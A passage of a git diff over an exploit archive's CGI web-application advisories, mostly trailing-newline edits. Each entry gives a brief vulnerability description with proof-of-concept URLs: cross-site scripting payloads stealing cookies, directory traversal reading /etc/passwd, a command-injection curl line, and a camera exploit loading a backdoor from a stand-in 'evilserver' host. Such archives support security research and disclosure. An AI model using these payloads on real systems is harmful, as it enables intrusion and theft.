http://www.example.com/cart.cgi?action=link&product=33&uid=%22%3E -%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file +%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file diff --git a/platforms/cgi/webapps/26850.txt b/platforms/cgi/webapps/26850.txt index 382a6a4ee..92d324b00 100755 --- a/platforms/cgi/webapps/26850.txt +++ b/platforms/cgi/webapps/26850.txt @@ -9,4 +9,4 @@ http://www.example.com/ppcal.cgi?action=shop&user=8001&start=21 /script%3E http://www.example.com/ppcal.cgi?action=shop&user=%22%3E%3Cscri -pt%3Ealert('r0t')%3C/script%3E \ No newline at end of file +pt%3Ealert('r0t')%3C/script%3E \ No newline at end of file diff --git a/platforms/cgi/webapps/26851.txt b/platforms/cgi/webapps/26851.txt index 0e20c8a16..c71141839 100755 --- a/platforms/cgi/webapps/26851.txt +++ b/platforms/cgi/webapps/26851.txt @@ -4,4 +4,4 @@ Kryptronic ClickCartPro is prone to a cross-site scripting vulnerability. This i An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/cp-app.cgi?usr=51H4515590&rnd=577308&rrc=N&affl=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file +http://www.example.com/cp-app.cgi?usr=51H4515590&rnd=577308&rrc=N&affl=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file diff --git a/platforms/cgi/webapps/26860.txt b/platforms/cgi/webapps/26860.txt index fcf8a144c..a95bcf0b2 100755 --- a/platforms/cgi/webapps/26860.txt +++ b/platforms/cgi/webapps/26860.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to have arbitrary script code executed in This issue affects version 0.2.5; earlier versions may also be vulnerable. -http://www.example.com/toc.pl?board=[XSS]&[member]=yes \ No newline at end of file +http://www.example.com/toc.pl?board=[XSS]&[member]=yes \ No newline at end of file diff --git a/platforms/cgi/webapps/26863.txt b/platforms/cgi/webapps/26863.txt index ba0c6122b..2c7122e1d 100755 --- a/platforms/cgi/webapps/26863.txt +++ b/platforms/cgi/webapps/26863.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to have arbitrary script code executed in These issues affect version 2.13; other versions may also be vulnerable. -http://www.example.com/post.cgi?action=new&forum=[XSS] \ No newline at end of file +http://www.example.com/post.cgi?action=new&forum=[XSS] \ No newline at end of file diff --git a/platforms/cgi/webapps/26864.txt b/platforms/cgi/webapps/26864.txt index a90b6a7a9..b6d25195e 100755 --- a/platforms/cgi/webapps/26864.txt +++ b/platforms/cgi/webapps/26864.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th This issue affects version 2.14.1; other versions may also be vulnerable. -http://www.example.com/webglimpse.cgi?query=&ID=1[XSS] \ No newline at end of file +http://www.example.com/webglimpse.cgi?query=&ID=1[XSS] \ No newline at end of file diff --git a/platforms/cgi/webapps/26865.txt b/platforms/cgi/webapps/26865.txt index 9ccf1f4d0..b47f81213 100755 --- a/platforms/cgi/webapps/26865.txt +++ b/platforms/cgi/webapps/26865.txt @@ -8,4 +8,4 @@ These issues affect version 3.04; earlier versions may also be vulnerable. http://www.example.com/perl/webcal.cgi?function=<script>alert(document.cookie)</script>&cal=public http://www.example.com/perl/webcal.cgi?function=webyear&cal=public&year=<script>alert(document.cookie)</script> -http://www.example.com/perl/webcal.cgi?function=webday&cal=public&date=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/perl/webcal.cgi?function=webday&cal=public&date=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/26914.txt b/platforms/cgi/webapps/26914.txt index 94a596f19..90f4ef284 100755 --- a/platforms/cgi/webapps/26914.txt +++ b/platforms/cgi/webapps/26914.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to retrieve arbitrary files in the context of Netpublish Server 7 is vulnerable; other versions may also be affected. -http://www.example.com/server.np?base&site=XXXintra&catalog=catalog&template=../../../../../../../../../boot.ini \ No newline at end of file +http://www.example.com/server.np?base&site=XXXintra&catalog=catalog&template=../../../../../../../../../boot.ini \ No newline at end of file diff --git a/platforms/cgi/webapps/26917.txt b/platforms/cgi/webapps/26917.txt index f19ca4be0..f8bb8d7ae 100755 --- a/platforms/cgi/webapps/26917.txt +++ b/platforms/cgi/webapps/26917.txt @@ -6,4 +6,4 @@ Attacker-supplied HTML and script code would be executed in the context of the a Example HTML exploit code has been provided: -<span style="background:url('javas\cript:(function x(){alert("boo")})();');">test</span> \ No newline at end of file +<span style="background:url('javas\cript:(function x(){alert("boo")})();');">test</span> \ No newline at end of file diff --git a/platforms/cgi/webapps/26937.txt b/platforms/cgi/webapps/26937.txt index d172e7bf2..f27a78e3e 100755 --- a/platforms/cgi/webapps/26937.txt +++ b/platforms/cgi/webapps/26937.txt @@ -13,4 +13,4 @@ http://www.example.com/index.tpl?iid=l3a1b3&#9001;=1&iid2=3&r=[XSS] http://www.example.com/index.tpl?iid=l093a1b1&#9001;=1&iid2=[iid2]&r=[r]&cart=[XSS] http://www.example.com/index.tpl?iid=l093a1b1&#9001;=1&iid2=[iid2]&r=[r]&cart=11351542306899006&str=[XSS] http://www.example.com/index.tpl?a=search_adv&cart=11351544339319101&#9001;=1&iid=13&nf=[XSS] -http://www.example.com/index.tpl?a=[XSS] \ No newline at end of file +http://www.example.com/index.tpl?a=[XSS] \ No newline at end of file diff --git a/platforms/cgi/webapps/27021.txt b/platforms/cgi/webapps/27021.txt index efceb8ac0..8900e5501 100755 --- a/platforms/cgi/webapps/27021.txt +++ b/platforms/cgi/webapps/27021.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Discus Professional 3.10 and Discus Freeware 3.10 are vulnerable; other versions may also be affected. -http://www.example.com/cgi-bin/discus/board-post.cgi?HTTP_REFERER=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&preview=1&message=&username=&passwd=&active_links=1&active_links_a=1 \ No newline at end of file +http://www.example.com/cgi-bin/discus/board-post.cgi?HTTP_REFERER=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&preview=1&message=&username=&passwd=&active_links=1&active_links_a=1 \ No newline at end of file diff --git a/platforms/cgi/webapps/27062.txt b/platforms/cgi/webapps/27062.txt index ac5bc90bf..59be97d97 100755 --- a/platforms/cgi/webapps/27062.txt +++ b/platforms/cgi/webapps/27062.txt @@ -16,4 +16,4 @@ To disclose the internal IP address: https://www.example.com/hc/hc?d=mes&x=20433&ntb=[numericParam] -Where the ntb parameter is supplied a numeric value instead of a string value. The internal IP address of the server may be found in a cookie. \ No newline at end of file +Where the ntb parameter is supplied a numeric value instead of a string value. The internal IP address of the server may be found in a cookie. \ No newline at end of file diff --git a/platforms/cgi/webapps/27081.txt b/platforms/cgi/webapps/27081.txt index 947927e8c..a7ca2221d 100755 --- a/platforms/cgi/webapps/27081.txt +++ b/platforms/cgi/webapps/27081.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th Version 3.67 is vulnerable to this issue; prior versions may also be affected. -http://www.example.com/item.pl?item=<script>alert("XSS")</script> \ No newline at end of file +http://www.example.com/item.pl?item=<script>alert("XSS")</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/27088.txt b/platforms/cgi/webapps/27088.txt index 77cbf2e67..3c8f0628d 100755 --- a/platforms/cgi/webapps/27088.txt +++ b/platforms/cgi/webapps/27088.txt @@ -8,4 +8,4 @@ These issues may be related to those discussed in BID 4565 and BID 4023 (Faq-O-M http://www.example.com/fom.cgi?cmd=recent&file=1&showLastModified=show&_submit=Show+documents&_duration=[code] http://www.example.com/fom.cgi?file=[code]&showLastModified=show -http://www.example.com/fom.cgi?_insert=answer&cmd=[code]&file=1 \ No newline at end of file +http://www.example.com/fom.cgi?_insert=answer&cmd=[code]&file=1 \ No newline at end of file diff --git a/platforms/cgi/webapps/27091.txt b/platforms/cgi/webapps/27091.txt index e95128a06..07a2e9659 100755 --- a/platforms/cgi/webapps/27091.txt +++ b/platforms/cgi/webapps/27091.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th Version 3.67 is vulnerable to this issue; prior versions may also be affected. -http://www.example.com/cgi-local/auktion/itemlist.pl?category=<script>alert("XSS")</script> \ No newline at end of file +http://www.example.com/cgi-local/auktion/itemlist.pl?category=<script>alert("XSS")</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/27115.txt b/platforms/cgi/webapps/27115.txt index 51c0fd0ef..92e3be954 100755 --- a/platforms/cgi/webapps/27115.txt +++ b/platforms/cgi/webapps/27115.txt @@ -4,4 +4,4 @@ MailSite is prone to a cross-site scripting vulnerability. This issue is due to An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com:90/CGI-BIN/WCONSOLE.DLL?%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com:90/CGI-BIN/WCONSOLE.DLL?%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/cgi/webapps/27141.txt b/platforms/cgi/webapps/27141.txt index 31a8f0592..ced4ddd74 100755 --- a/platforms/cgi/webapps/27141.txt +++ b/platforms/cgi/webapps/27141.txt @@ -6,4 +6,4 @@ An attacker can exploit these vulnerabilities to retrieve arbitrary files from t http://www.example.com/cgi-bin/e-cms/vis/vis.pl?s=001&p=../../../../etc/passwd%00 -http://www.example.com/cgi-bin/e-cms/vis/vis.pl?s=../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/cgi-bin/e-cms/vis/vis.pl?s=../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/cgi/webapps/27163.txt b/platforms/cgi/webapps/27163.txt index 113d7159a..c3e258383 100755 --- a/platforms/cgi/webapps/27163.txt +++ b/platforms/cgi/webapps/27163.txt @@ -8,4 +8,4 @@ Note that the attacker must be an authenticated user to exploit this vulnerabili Versions 5.1.0.10 and 6.0.0 are vulnerable; other versions may also be affected. -http://www.example.com/pkmslogout?filename=../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/pkmslogout?filename=../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/cgi/webapps/27761.txt b/platforms/cgi/webapps/27761.txt index c4f17831c..23a68c0f0 100755 --- a/platforms/cgi/webapps/27761.txt +++ b/platforms/cgi/webapps/27761.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th A successful exploit of this issue may grant an attacker full access to a victim user's NeoMail account. -http://www.example.com:2095/user+server/neomail.pl?sessionid=<script>alert(document.cookie)</script><!-- \ No newline at end of file +http://www.example.com:2095/user+site.com/neomail.pl?sessionid=<script>alert(document.cookie)</script><!-- \ No newline at end of file diff --git a/platforms/cgi/webapps/28321.pl b/platforms/cgi/webapps/28321.pl index 871fe1004..554647a87 100755 --- a/platforms/cgi/webapps/28321.pl +++ b/platforms/cgi/webapps/28321.pl @@ -48,3 +48,4 @@ chmod -R 777 /mail/tmp/ ## Create smb backup mount point /bin/mkdir -p /mnt/smb/ chmod 777 /mnt/smb/ + \ No newline at end of file diff --git a/platforms/cgi/webapps/29623.txt b/platforms/cgi/webapps/29623.txt index b463a65e3..20b86cb54 100755 --- a/platforms/cgi/webapps/29623.txt +++ b/platforms/cgi/webapps/29623.txt @@ -6,4 +6,4 @@ Successful attacks must exploit this weakness in conjunction with a latent cross Attackers may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to access the contents of the Google Desktop search index or potentially to execute arbitrary code. -http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E \ No newline at end of file +http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E \ No newline at end of file diff --git a/platforms/cgi/webapps/29761.txt b/platforms/cgi/webapps/29761.txt index 5fd93a41e..7f55a78bd 100755 --- a/platforms/cgi/webapps/29761.txt +++ b/platforms/cgi/webapps/29761.txt @@ -8,4 +8,4 @@ Note that the authentication-bypass issue affects only SQL-Ledger. These issues affect LedgerSMB prior to 1.1.10 and SQL-Ledger prior to 2.6.27. -http://www.example.com/sql-ledger/am.pl?login=../../../home/user/foo.pl%00&action=add_department \ No newline at end of file +http://www.example.com/sql-ledger/am.pl?login=../../../home/user/foo.pl%00&action=add_department \ No newline at end of file diff --git a/platforms/cgi/webapps/29842.txt b/platforms/cgi/webapps/29842.txt index e3f88957f..b8cf3038f 100755 --- a/platforms/cgi/webapps/29842.txt +++ b/platforms/cgi/webapps/29842.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to gain unauthorized access to services hoste Versions prior to 1.9.4b and 2.0.2a are vulnerable. -cosign=X\rLOGIN cosign=X 1.2.3.4 username\rREGISTER cosign=X 1.2.3.4 cosign-servicename=Y \ No newline at end of file +cosign=X\rLOGIN cosign=X 1.2.3.4 username\rREGISTER cosign=X 1.2.3.4 cosign-servicename=Y \ No newline at end of file diff --git a/platforms/cgi/webapps/29962.txt b/platforms/cgi/webapps/29962.txt index 9f155b803..a9ae59efa 100755 --- a/platforms/cgi/webapps/29962.txt +++ b/platforms/cgi/webapps/29962.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects OTRS 2.0.4; other versions may also be affected. -http://www.example.com/server/otre/index/pl?Action=AgentTicketMailbox&Subaction=[xss] \ No newline at end of file +http://www.example.com/server/otre/index/pl?Action=AgentTicketMailbox&Subaction=[xss] \ No newline at end of file diff --git a/platforms/cgi/webapps/30156.txt b/platforms/cgi/webapps/30156.txt index 584b9a181..cae3da6bf 100755 --- a/platforms/cgi/webapps/30156.txt +++ b/platforms/cgi/webapps/30156.txt @@ -14,4 +14,4 @@ Clandestine - MentorSec - Titio Vamp - LLL - Slayer Owner - masoqfellipe Exploit: /cgi/cgilua.exe/sys/start.htm?sid=[ SQLi ] -Demo: http://server/publique/cgi/cgilua.exe/sys/start.htm?sid=157 +Demo: http://www.server.com/publique/cgi/cgilua.exe/sys/start.htm?sid=157 diff --git a/platforms/cgi/webapps/30199.txt b/platforms/cgi/webapps/30199.txt index d79b79000..612e44bff 100755 --- a/platforms/cgi/webapps/30199.txt +++ b/platforms/cgi/webapps/30199.txt @@ -4,4 +4,4 @@ WebIf is prone to a local file-include vulnerability because it fails to properl Exploiting this issue may allow an unauthorized user to view files and execute local scripts. -http://www.example.com/webif/webif.cgi?cmd=query&config=conf_2000/config.txt&outconfig=../../../../etc/issue \ No newline at end of file +http://www.example.com/webif/webif.cgi?cmd=query&config=conf_2000/config.txt&outconfig=../../../../etc/issue \ No newline at end of file diff --git a/platforms/cgi/webapps/30263.txt b/platforms/cgi/webapps/30263.txt index 832ea8dd1..126067d78 100755 --- a/platforms/cgi/webapps/30263.txt +++ b/platforms/cgi/webapps/30263.txt @@ -4,4 +4,4 @@ Oliver is prone to multiple cross-site scripting vulnerabilities because it fail An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/oliver/gateway/gateway.exe?X_=000f&application=Oliver&displayform=main&updateform="><script>alert("XSS");</script> http://www.example.com/oliver/gateway/gateway.exe?X_=000f&displayform=main"><script>alert("XSS");</script> \ No newline at end of file +http://www.example.com/oliver/gateway/gateway.exe?X_=000f&application=Oliver&displayform=main&updateform="><script>alert("XSS");</script> http://www.example.com/oliver/gateway/gateway.exe?X_=000f&displayform=main"><script>alert("XSS");</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/30440.txt b/platforms/cgi/webapps/30440.txt index 40ec3d684..9babb6cef 100755 --- a/platforms/cgi/webapps/30440.txt +++ b/platforms/cgi/webapps/30440.txt @@ -4,4 +4,4 @@ WebEvent is prone to a cross-site scripting vulnerability because the applicatio An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/cgi-bin/webevent/webevent.cgi?cmd=%22%3CSCRIPT+SRC=http://www.example2.com/xss.js%3E%3C/SCRIPT%3E \ No newline at end of file +http://www.example.com/cgi-bin/webevent/webevent.cgi?cmd=%22%3CSCRIPT+SRC=http://www.example2.com/xss.js%3E%3C/SCRIPT%3E \ No newline at end of file diff --git a/platforms/cgi/webapps/30587.txt b/platforms/cgi/webapps/30587.txt index 0cbafef00..28401a2a0 100755 --- a/platforms/cgi/webapps/30587.txt +++ b/platforms/cgi/webapps/30587.txt @@ -5,5 +5,5 @@ Axis Communications 207W Network Camera is prone to multiple vulnerabilities in Exploiting these issues may allow an attacker to compromise the device or to prevent other users from using the device. Root the camera/add a backdoor - -http://www.example.com/admin/restartMessage.shtml?server=<iframe%20style=visibility:hidden%20src=http://www.evilserver/wifi/axisbd.php><iframe -src=http://www.evilserver/wifi/axisrb.htm><!â?? +http://www.example.com/admin/restartMessage.shtml?server=<iframe%20style=visibility:hidden%20src=http://www.evilserver.com/wifi/axisbd.php><iframe +src=http://www.evilserver.com/wifi/axisrb.htm><!â?? diff --git a/platforms/cgi/webapps/30591.txt b/platforms/cgi/webapps/30591.txt index 411ca0bde..de5aac455 100755 --- a/platforms/cgi/webapps/30591.txt +++ b/platforms/cgi/webapps/30591.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to execute arbitrary commands with the privileg Alcatel-Lucent OmniPCX Enterprise R7.1 and prior versions are vulnerable to this issue. -curl -k "https://www.example.com/cgi-bin/masterCGI?ping=nomip&user=;ls\${IFS}-l;" \ No newline at end of file +curl -k "https://www.example.com/cgi-bin/masterCGI?ping=nomip&user=;ls\${IFS}-l;" \ No newline at end of file diff --git a/platforms/cgi/webapps/30597.txt b/platforms/cgi/webapps/30597.txt index 16a9c933d..3bc2c39a2 100755 --- a/platforms/cgi/webapps/30597.txt +++ b/platforms/cgi/webapps/30597.txt @@ -7,4 +7,4 @@ Exploiting these vulnerabilities may allow an attacker to perform cross-site scr LevelOne WBR3404TX firmware version R1.94p0vTIG is vulnerable; other versions may also be affected. http://www.example.com/cgi-bin/ddns?RC=%40&DG0=x&DP=D&DD=[xss] -http://www.example.com/cgi-bin/ddns?RC=%40&DG0=x&DP=D&DD=&DU=[xss] \ No newline at end of file +http://www.example.com/cgi-bin/ddns?RC=%40&DG0=x&DP=D&DD=&DU=[xss] \ No newline at end of file diff --git a/platforms/cgi/webapps/30598.txt b/platforms/cgi/webapps/30598.txt index 71cf584db..7058cf0b7 100755 --- a/platforms/cgi/webapps/30598.txt +++ b/platforms/cgi/webapps/30598.txt @@ -9,4 +9,4 @@ The attacker may leverage the information-disclosure issue to obtain potentially Reports indicate that WebBatch 2007D is not affected by the cross-site scripting issue. http://www.example.com/webcgi/webbatch.exe?XSS -http://www.example.com/webcgi/webbatch.exe?PATH/XSS \ No newline at end of file +http://www.example.com/webcgi/webbatch.exe?PATH/XSS \ No newline at end of file diff --git a/platforms/cgi/webapps/30599.txt b/platforms/cgi/webapps/30599.txt index d57c86d4d..dc4501489 100755 --- a/platforms/cgi/webapps/30599.txt +++ b/platforms/cgi/webapps/30599.txt @@ -8,4 +8,4 @@ The attacker may leverage the information-disclosure issue to obtain potentially Reports indicate that WebBatch 2007D is not affected by the cross-site scripting issue. -http://www.example.com/webcgi/webbatch.exe?dumpinputdata \ No newline at end of file +http://www.example.com/webcgi/webbatch.exe?dumpinputdata \ No newline at end of file diff --git a/platforms/cgi/webapps/30639.txt b/platforms/cgi/webapps/30639.txt index 094498b29..6a2675f33 100755 --- a/platforms/cgi/webapps/30639.txt +++ b/platforms/cgi/webapps/30639.txt @@ -9,4 +9,4 @@ This issue affects Cart32 6.3; prior versions are also vulnerable. http://www.example.com/scripts/c32web.exe/GetImage?ImageName=somefile.txt%00.gif http://www.example.com/scripts/c32web.exe/GetImage?ImageName=somefile.txt%00.jpg http://www.example.com/scripts/c32web.exe/GetImage?ImageName=somefile.txt%00.pdf -http://www.example.com/scripts/c32web.exe/GetImage?ImageName=somefile.txt%00.png \ No newline at end of file +http://www.example.com/scripts/c32web.exe/GetImage?ImageName=somefile.txt%00.png \ No newline at end of file diff --git a/platforms/cgi/webapps/30649.txt b/platforms/cgi/webapps/30649.txt index ee251d265..65f8638d9 100755 --- a/platforms/cgi/webapps/30649.txt +++ b/platforms/cgi/webapps/30649.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br These issues affect DNews 57e1; other versions may also be affected. http://www.example.com/cgi-bin/dnewsweb.exe?cmd=PATH&group=XSS -http://www.example.com /cgi-bin/dnewsweb.exe?utag=XSS \ No newline at end of file +http://www.example.com /cgi-bin/dnewsweb.exe?utag=XSS \ No newline at end of file diff --git a/platforms/cgi/webapps/3065.txt b/platforms/cgi/webapps/3065.txt index 614176750..d4d4137f4 100755 --- a/platforms/cgi/webapps/3065.txt +++ b/platforms/cgi/webapps/3065.txt @@ -1,4 +1,4 @@ -WWWBoard 2.0 Alpha 2 (passwd.txt) Password Disclosure Vulnerability + WWWBoard 2.0 Alpha 2 (passwd.txt) Password Disclosure Vulnerability diff --git a/platforms/cgi/webapps/30661.txt b/platforms/cgi/webapps/30661.txt index 8e075fc0f..9bebf143d 100755 --- a/platforms/cgi/webapps/30661.txt +++ b/platforms/cgi/webapps/30661.txt @@ -8,4 +8,4 @@ Urchin 5.7.03 is vulnerable to this issue; other versions may also be affected. NOTE: Further reports suggest that this is not a vulnerability, but a documented feature of the application. -http://www.example.com/report.cgi?profile=x&rid=42&prefs=x&n=10&vid=1301&bd=20070703&ed=20070703&dt=4&gtype=5 \ No newline at end of file +http://www.example.com/report.cgi?profile=x&rid=42&prefs=x&n=10&vid=1301&bd=20070703&ed=20070703&dt=4&gtype=5 \ No newline at end of file diff --git a/platforms/cgi/webapps/30759.txt b/platforms/cgi/webapps/30759.txt index 9f8fd6a97..1ed99fdbb 100755 --- a/platforms/cgi/webapps/30759.txt +++ b/platforms/cgi/webapps/30759.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects versions prior to Web Gateway 48.1.1. -http://somevtlsweb.net/cgi-bin/vtls/vtls.web.gateway?authority=1&searchtype=subject%22%3E%3Ch1%3E%3Cmarquee%3EXSS%20bug%3C/marquee%3E%3C/h1%3E%3C!--&kind=ns&conf=080104+++++++ \ No newline at end of file +http://somevtlsweb.net/cgi-bin/vtls/vtls.web.gateway?authority=1&searchtype=subject%22%3E%3Ch1%3E%3Cmarquee%3EXSS%20bug%3C/marquee%3E%3C/h1%3E%3C!--&kind=ns&conf=080104+++++++ \ No newline at end of file diff --git a/platforms/cgi/webapps/30770.txt b/platforms/cgi/webapps/30770.txt index beec7e91d..4206f8e90 100755 --- a/platforms/cgi/webapps/30770.txt +++ b/platforms/cgi/webapps/30770.txt @@ -5,4 +5,4 @@ AIDA Web is prone to multiple unauthorized access vulnerabilities. An attacker could exploit these issues to obtain potentially sensitive information that could aid in further attacks. http://www.example.com/CGI-Bin/frame.html?Mehr=xxx -http://www.example.com/CGI-Bin/frame.html?Mehr=xxx&SUPER=x \ No newline at end of file +http://www.example.com/CGI-Bin/frame.html?Mehr=xxx&SUPER=x \ No newline at end of file diff --git a/platforms/cgi/webapps/30777.txt b/platforms/cgi/webapps/30777.txt index 30548e2c8..e5bf3193a 100755 --- a/platforms/cgi/webapps/30777.txt +++ b/platforms/cgi/webapps/30777.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Citrix NetScaler 8.0 build 47.8 is vulnerable; other versions may also be affected. -http://www.example.com/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e \ No newline at end of file +http://www.example.com/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e \ No newline at end of file diff --git a/platforms/cgi/webapps/30795.txt b/platforms/cgi/webapps/30795.txt index bb3141c03..a29a68fa3 100755 --- a/platforms/cgi/webapps/30795.txt +++ b/platforms/cgi/webapps/30795.txt @@ -5,4 +5,4 @@ GWExtranet is prone to multiple directory-traversal vulnerabilities because it f An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process. Information obtained may aid in further attacks. http://www.example.com/gwextranet/scp.dll/sendto?user=calendar+of+events&mid=474020FA.GWEMAIL_DEPOT.SDEPO.100.167656B.1.1B00.1&template=.././../../boot.ini%00 -http://www.example.com/gwextranet/scp.dll/nbfile?user=calendar%20of%20events&format=&mid=46FA2724.GWEMAIL_DEPOT.SDEPO.100.167656B.1.198E.1&folder=Calendar&altcolor=cccccc&template=gwextra&caldays=1&startday=&file=../scp.dll \ No newline at end of file +http://www.example.com/gwextranet/scp.dll/nbfile?user=calendar%20of%20events&format=&mid=46FA2724.GWEMAIL_DEPOT.SDEPO.100.167656B.1.198E.1&folder=Calendar&altcolor=cccccc&template=gwextra&caldays=1&startday=&file=../scp.dll \ No newline at end of file diff --git a/platforms/cgi/webapps/30808.txt b/platforms/cgi/webapps/30808.txt index e5f3b7837..a40d424ac 100755 --- a/platforms/cgi/webapps/30808.txt +++ b/platforms/cgi/webapps/30808.txt @@ -9,4 +9,4 @@ GWExtranet 3.0 is affected by these issues; other versions may also be vulnerabl http://www.example.com/GWExtranet/scp.dll/frmonth?filter=<EvilScript> http://www.example.com/GWExtranet/scp.dll/frmonth?user=<EvilScript> http://www.example.com/GWExtranet/scp.dll/frmonth?month=<EvilScript> -http://www.example.com/GWExtranet/scp.dll?user=USERID&template=<EvilScript> \ No newline at end of file +http://www.example.com/GWExtranet/scp.dll?user=USERID&template=<EvilScript> \ No newline at end of file diff --git a/platforms/cgi/webapps/30818.txt b/platforms/cgi/webapps/30818.txt index 42fe55979..0ecfc041f 100755 --- a/platforms/cgi/webapps/30818.txt +++ b/platforms/cgi/webapps/30818.txt @@ -6,4 +6,4 @@ Exploiting this issue allows an attacker to execute arbitrary HTML or script cod This issue affects ht://Dig 3.2.0b6; other versions may also be vulnerable. -http://www.example.com/cgi-bin/htsearch?config=&restrict=&exclude=&method=and&format=builtin-long&sort=<script>alert("foo")</script>&words=foo \ No newline at end of file +http://www.example.com/cgi-bin/htsearch?config=&restrict=&exclude=&method=and&format=builtin-long&sort=<script>alert("foo")</script>&words=foo \ No newline at end of file diff --git a/platforms/cgi/webapps/31025.txt b/platforms/cgi/webapps/31025.txt index d99b19046..af080eafe 100755 --- a/platforms/cgi/webapps/31025.txt +++ b/platforms/cgi/webapps/31025.txt @@ -4,4 +4,4 @@ Garment Center is prone to a local file-include vulnerability because it fails t Exploiting this issue may allow an unauthorized user to view files and execute local scripts. -http://www.example.com/index.cgi?page=../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.cgi?page=../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/cgi/webapps/31043.txt b/platforms/cgi/webapps/31043.txt index 731945182..af4d0d92b 100755 --- a/platforms/cgi/webapps/31043.txt +++ b/platforms/cgi/webapps/31043.txt @@ -4,4 +4,4 @@ Alice Gate2 Plus Wi-Fi routers are prone to a cross-site request-forgery vulnera An attacker can exploit this issue to alter administrative configuration on affected devices. Specifically, altering the wireless encryption settings on devices has been demonstrated. Other attacks may also be possible. -http://www.example.com/cp06_wifi_m_nocifr.cgi?wlChannel=Auto&wlRadioEnable=on \ No newline at end of file +http://www.example.com/cp06_wifi_m_nocifr.cgi?wlChannel=Auto&wlRadioEnable=on \ No newline at end of file diff --git a/platforms/cgi/webapps/31071.txt b/platforms/cgi/webapps/31071.txt index 54d540f2c..466dfbb23 100755 --- a/platforms/cgi/webapps/31071.txt +++ b/platforms/cgi/webapps/31071.txt @@ -4,4 +4,4 @@ VB Marketing is prone to a local file-include vulnerability because it fails to An attacker can exploit this vulnerability using directory-traversal strings to include local script code in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks. -http://www.example.com/cgi-bin/tseekdir.cgi?location=/etc/passwd%00 \ No newline at end of file +http://www.example.com/cgi-bin/tseekdir.cgi?location=/etc/passwd%00 \ No newline at end of file diff --git a/platforms/cgi/webapps/31081.txt b/platforms/cgi/webapps/31081.txt index 1755d3d57..bcdfc5242 100755 --- a/platforms/cgi/webapps/31081.txt +++ b/platforms/cgi/webapps/31081.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow bgplg shipped with OpenBSD 4.1 is vulnerable; other versions may also be affected. -http://www.example.com/cgi-bin/bgplg?cmd=show+version<script>alert("OpenBSD%20XSS)</script> \ No newline at end of file +http://www.example.com/cgi-bin/bgplg?cmd=show+version<script>alert("OpenBSD%20XSS)</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/31313.txt b/platforms/cgi/webapps/31313.txt index ce549511d..901ea9292 100755 --- a/platforms/cgi/webapps/31313.txt +++ b/platforms/cgi/webapps/31313.txt @@ -7,4 +7,4 @@ Exploiting this issue can allow an attacker to access sensitive data that may be Secure Access 2000 5.5R1 Build 11711 is vulnerable; other versions may also be affected. https://www.example.com/dana-na/auth/remediate.cgi?action=&step=preauth -https://www.example.com/dana-na/auth/remediate.cgi?step=preauth \ No newline at end of file +https://www.example.com/dana-na/auth/remediate.cgi?step=preauth \ No newline at end of file diff --git a/platforms/cgi/webapps/31411.txt b/platforms/cgi/webapps/31411.txt index d828a875e..f074b2714 100755 --- a/platforms/cgi/webapps/31411.txt +++ b/platforms/cgi/webapps/31411.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow RSA 